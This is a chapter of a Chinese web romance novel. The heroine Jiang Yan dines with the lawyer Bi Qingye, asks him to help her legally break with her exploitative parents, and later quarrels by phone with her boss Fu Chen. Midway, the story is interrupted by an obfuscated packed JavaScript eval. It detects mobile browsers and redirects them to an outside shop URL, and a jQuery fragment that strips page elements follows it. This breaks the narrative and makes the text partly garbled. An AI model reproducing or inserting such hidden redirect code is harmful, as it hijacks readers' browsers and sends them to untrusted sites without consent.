昨天下午,云顶餐吧。
云顶餐吧并不在喧闹的市中心,而在远离市区的长江边,在一家酒店的顶层,周围视野开阔像个露天花园,因此打卡的人很多,如果运气好还能在座位上俯瞰长江上的日落,金色余晖洒满江面,那种城市与自然和谐的幸福感油然而生。
姜厌考察完开口笑食品厂后,直接把车开到了这里,比预计时间提早整整一个小时到达餐吧附近。
天知道为了这次约会她特地去了趟商场,做了头发,修了指甲,平时喜欢但忍住没买的衣服眼睛眨也不眨地就地拿下。她也不知道自己为什么要这么做,只是觉得,在毕清也面前她不想露怯。
江面泛起夕阳洒金的余晖,粼粼波光镀了层白金,听到不远处服务员的招呼声,姜厌摘掉墨镜,朝餐吧的门口看去。
毕清也穿着清爽精致,墨羽蓝的真丝衬衫V字形领口很低,皮肤很白,鼻梁上的无框眼镜将他衬的斯文俊雅,像一副油画中高贵的王子,从骨子里散发着雍容尔雅的矜贵气质。
见他款款朝自己走来,姜厌忍不住悸动起来,纤细手指拿起水杯喝了口水。
毕清在她对面位置坐下,礼貌而谦逊地道歉:“抱歉,刚才路上太堵了,我已经提早出门却还是迟到了!”
“没关系,”姜厌笑笑,眼神温和带着少女的欣喜雀跃,“我也刚到不久。”
两人相对而坐,旁边就是长江,正好能看到江面上航行的渡轮。
“轰。”渡轮发出一阵轰鸣,姜厌抬起头,从自己的方向看过去刚好能看见毕清也整个人沐浴在夕阳的余晖里,带着毛茸茸的光感,眼神清澈明亮,就连笑意都无比舒服,动人。
“我为上次的事感到抱歉。”说完,毕清也拿出一个精致的蓝色礼盒,放在姜厌面前。正方形的礼盒,小小的,却极具质感,一看就不像是普普通通的礼物。
“您不用这么客气,毕律师!”姜厌摆摆手,瞬间有些惊慌失措,婉拒道:“上次突然到事务所去,是我没提前联系您,用不着道歉的毕律师。”她笑真诚亮眼,毕清也按住礼物的手没动,表情却更加肆意一动不动地看着她。
一瞬,他像是终于反应过来,讪笑着将礼物推的更近,声音柔和,动人心魄,“一点心意而已姜总监,您不妨看看礼物是什么,再拒绝我。”
长江边上的风很大,姜厌的柔顺的长发在风中飞舞,她的笑被光照亮带着层圣洁感,身上淡紫色的雪纺连衣裙像蝴蝶振翅一般,吸引周围许多客人的目光,毕清也敢断定,此时此刻,没有人会比长江边上的姜厌更加妩媚。
微微卷曲的像羽翼一样的睫毛轻轻眨了眨,姜厌竟神不知鬼不觉地伸出了手,在她心底有一个小小的声音朝她蛊惑:一眼,就看一眼,看完就还回去。
...........
如果时间经得起倒带,眼前这个被夕阳点亮的蛊惑人心的笑容会在将来乃至很久之后被封存起来,再也不会被触碰、提及。
纤细的手指轻轻掀开礼盒,琥珀色的眸子瞬间盛满惊喜。
是枚小小的胸针。
麦穗一样胸针上镶满闪耀的碎钻,姜厌拿起来的时候,在手上闪闪发光,她就像是挥舞魔法棒的仙女一样,拥有瞬间变幸福的能力。
突如其来的惊喜感瞬间爬满整个胸腔,姜厌认出这枚麦穗胸针是国外某奢品牌,价值不菲。她把礼物放回去,推到毕清也面前,略带歉意,“礼物太贵重了,谢谢你的好意,我不能收!”
毕清也深深地凝视了姜厌一眼,唇角挂笑,他将礼物原封不动推回去,道:“姜小姐不用觉得难为情,这是我托国外的朋友在免税店买的,省了不少钱。”说着,他突然俯身靠近,近在咫尺的呼吸声恰似与姜厌的的呼吸节奏同步相连,低声蛊惑:“而且,姜小姐难道不想知道,我为什么送你麦穗胸针吗?”
姜厌此时的心跳如擂鼓在耳边敲响,呼吸急促,连雪白的脸颊都瞬间萦了层粉霜,抬眼时,毕清也禁欲的笑就在鼻尖,更显得自己睫毛乱颤,心动过速。
“为什么...是麦穗胸针啊?”
其实她心底早已经有了疑问,平常人送女生礼物,胸针,项链等饰品都是最普通的,可这枚胸针的形状却偏偏是条弯弯的麦穗,不由得让人遐想联翩。
毕清也身体后撤,倒也坦坦荡荡,莞尔一笑道:“因为在我心中,姜小姐像麦田里金黄的麦穗一样,让人收获喜悦感动的同时,又有自己的锋芒!”
“而且,对我来说,这枚麦穗胸针的寓意,更多了份惊喜。”
“惊喜?”姜厌诧异,挑眉望着他道。
“难道不是吗,今天能能和姜小姐坐在这里,对我来说,已经足够惊喜了。”毕清也的话像阵无孔不入的空气一样钻进姜厌的心里,尽管他的声音很轻,江风很大,可还是颤动了姜厌许多年都不曾为谁动过的心。
此时,服务员正巧端着饮品走过来,将饮料放在圆桌上。姜厌伸手的瞬间,毕清也伸出手,两人指尖相碰,瞬间,姜厌缩回手指。
可刚才触碰到的余温像冬日最旺的火柴一样,将她灼伤。
毕清也将饮料推到姜厌面前。
姜厌咬住吸管,喝了口饮料,抬起头看着高楼下鎏金耀眼的江面,随手拨开脸上胡乱飞舞的发丝,低下了头。此时的心,如同萦绕胸前的秀发一样,纷扰,麻乱。
后来,她和毕清也聊了很多。聊他朋友圈的座右铭,聊他在英国的学校,还有他在金融港做律师的所见所闻。两人的关系,从萍水相逢的陌生人,快速升至心灵契合的同道中人。
不得不说,姜厌很认同他对法律与道义的追寻,尤其那句‘法理可辩,唯心不可辩’让她觉得他和自己一样,在这快速更迭的洪流中究竟比俗理浸染更努力地想守住自己的心。
他们聊了很久,越聊越投机,直到姜厌无意之中提到了开口笑食品厂。她讲了自己在工厂的见闻和花费一下午时间做出来的方案。
听完后,毕清也的眉头微微皱起,灼热的目光落在她身上一遍又一遍,“那你想怎么转型?”
放下饮料,姜厌的神情十分专注,整个人散发着职场告知精英有的睿智和锋芒。她道:“我查了很多资料,如果只是单纯地将玉米、小麦等食材加工成膨化食品,它具有的高热量会成为缺点,可湾城的每个人所追求的是高效、时速和精益求精。所以我想,玉米、燕麦和糙米三者混合起来把甜度降低,顺应目标消费群体的喜好,再把它制成代餐食品,目标群体定位到长期健身的年轻人,他们对新鲜事物的接受程度很高,一旦认可了产品,复购率就会大大提升!到那时....”
“到那时,不仅可以提升开口笑食品厂的订单,而且还拯救了那些因停产而生活陷入困境的女工们。”
毕清也的声音冷冷清清,可看向姜厌的眼神却如碳火般灼热,里面藏也藏不住的赞叹,欣赏,还有深深的佩服之外的触动。
姜厌低头害羞笑起来,刚才谈论起自己的策划时,整个人神采奕奕,像在发着光。
“姜厌,你怎么能不是惊喜呢?”
毕清也声音很低,低到几乎听不到。
姜厌收回望向江眠的视线,转头看他,眼神询问,毕清也却只是笑笑不答话。
云顶餐吧的时光转瞬而逝,临走前,姜厌问出那个积蓄心中已久的问题。
其实,在两人交谈的这个下午,姜厌的手机就一直在震动,她明明拒绝了很多次,却还是有不断的电话打进来。毕清也观察过,是不同的电话号。
说明,有人在一直骚扰她。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17956385|214259||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
而他也在等姜厌自己开口。
“毕律师。”
毕清也声音温和,看向她的眼神深情不止,“姜小姐,叫我清也就好。”
脸红一瞬,姜厌低头,“清也,其实我上次去事务所,是有事情想咨询你。”
“我想问的是,如何与自己的父母做分割?”
“分割?”毕清也顿惑道:“我没明白,是....”
姜厌深吸口气,准备和盘托出,“我的父母,从小到大一直各种名义向我要钱,我进了义务却一直在被骚扰,我不想再过这种无底洞的日子!”姜厌的眼神空洞,声音有些哽咽,“所以,我想聘请您做我的律师,用法律的方式让我和他们之间划清界限,”眼神垂落一瞬,指尖攥紧,断了顿,姜厌抬起头眼神坚定,“我要和我的父母断绝关系!”
/
傍晚,薄暮笼罩黄昏,辰泰小区的绿化做的很好,盈盈绿色之中还带着丝丝清新。
姜厌回到家时,阳台外的鸟一直叫,她走近瞄了眼,树下趴着只猫,盯着鸟儿躬身静候,准备伺机而动。
转身走到客厅里,打开冰箱,姜厌看着原本满满当当的橙汁只剩一杯。纤细手指拿起橙汁,一饮而尽。
突然,放在客厅原木桌的电话响起来,姜厌走过去看了眼,是傅琛。
这么晚,他打电话是什么事?
“喂,傅总。”
“姜厌,”傅琛的声音很稳,像午后的风燥动却不燥热。
一杯冰橙汁刚下肚,正好安抚了身体里的烦闷,姜厌的声音听起来,明显有些开心。
傅琛屏息了一瞬,轻轻道:“你昨天的提议,我考虑过了。”
“嗯?”握住饮料的手蜷紧,眼神微微放空。
“我愿以个人名义资助开口笑五十万,这件事就此止住,也算我..算公司对你的交代。”傅琛今日的语气不像在公司时,干脆果断。
“个人名义?”不确定是不是没听清,姜厌又问了遍,“以个人名义的意思是....”
傅琛在电话里吸了口气,浑厚的声音明显底气不足,“姜厌,这是我个人的赞助,与金澜..无关。”
“傅总!”
“难道连你也觉得我的提议是在胡闹?还是你根本不信我有这个能力?!”姜厌呼吸焦灼,整颗心都被揪了起来。
“姜厌,我不是在质疑你的能力,我...”
突然想到什么,姜厌试探地问:“放在我抽屉的萝卜丁,是你送的吧?”
整个金澜33层,她想不到任何一个能送她口红的人,除了傅琛。而且最近傅琛的表现也越来越奇怪,以前,他可从来不会替自己说一句话。
有些事,不用拆穿,彼此就心知肚明。
“什么?”傅琛明显愣住了,片刻他才回答:“我不知道你指的是什么!”
“不、知、道?”姜厌声音冷涩,穿着浅灰色睡衣短裙,站在阳台咬着牙说。
傅琛冷笑,“如果你指的是我对自己下属施以的关怀,我可以承认!但你说我送你礼物,姜厌,你未免太小题大做了。”
傅琛的话虽然说的含蓄,可聪明精明理智和智商双绝的姜厌不可能听不出他话里话外的含义。
屏住呼吸,整个人都在发颤,从小到大,姜厌从未听过有人把送礼物说的如此冠冕堂皇,显得她多不懂规矩,她多妄自尊大啊。
“哦,是吗?我最近刚刷到网友说这个口红色号是爆款,既然是体恤下属,那我卖掉了!”
“姜厌...你!”傅琛的暴怒的声音里带着颤抖。
登时,电话两端陷入僵峙,谁也没再讲一句话。
半晌,傅琛似是无奈,又像是累,低声声讨了句:
“姜厌,水至清则无鱼!”